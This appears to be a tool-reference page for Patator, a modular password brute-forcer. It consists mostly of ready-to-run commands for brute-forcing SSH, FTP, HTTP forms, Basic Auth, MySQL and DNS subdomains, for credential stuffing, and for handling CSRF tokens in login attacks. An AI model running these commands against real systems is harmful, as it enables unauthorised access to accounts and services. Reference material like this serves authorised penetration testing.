Skip to content

Patator

Multi-purpose brute-forcer with modular design

PythonGitHub

Description

Patator is a multi-purpose brute-forcer with a modular design. It supports brute forcing SSH, FTP, HTTP, SMTP, MySQL, MSSQL, PostgreSQL, VNC, DNS, and many more protocols. Its flexible syntax allows complex attack scenarios.

Installation

BASH
# pip
pip3 install patator

# Kali (pre-installed)
patator -h

# Docker
docker run --rm -it patator ssh_login host=target.com user=admin password=FILE0 0=passwords.txt

Basic Usage

BASH
# SSH brute force
patator ssh_login host=target.com user=admin password=FILE0 0=passwords.txt

# FTP brute force
patator ftp_login host=target.com user=admin password=FILE0 0=passwords.txt

# HTTP POST login
patator http_fuzz url="https://target.com/login" method=POST \
  body="user=admin&pass=FILE0" 0=passwords.txt \
  -x ignore:fgrep="Invalid credentials"

Advanced Usage

BASH
# HTTP Basic Auth
patator http_fuzz url="https://target.com/admin" \
  user_pass="admin:FILE0" 0=passwords.txt \
  -x ignore:code=401

# MySQL brute force
patator mysql_login host=target.com user=root password=FILE0 0=passwords.txt

# DNS brute force
patator dns_forward name=FILE0.target.com 0=subdomains.txt -x ignore:code=NXDOMAIN

# Multiple users and passwords
patator ssh_login host=target.com user=FILE0 password=FILE1 \
  0=users.txt 1=passwords.txt

# Rate limiting
patator ssh_login host=target.com user=admin password=FILE0 \
  0=passwords.txt --rate-limit=1

Common Workflows

BASH
# Credential stuffing against SSH
patator ssh_login host=target.com user=FILE0 password=FILE1 \
  0=users.txt 1=passwords.txt -x ignore:mesg="Authentication failed"

# Web form brute force with CSRF token handling
patator http_fuzz url="https://target.com/login" method=POST \
  body="user=admin&pass=FILE0&csrf=TOKEN" 0=passwords.txt \
  before_urls="https://target.com/login" before_egrep="csrf.*value=\"(.*?)\"" \
  -x ignore:fgrep="Invalid"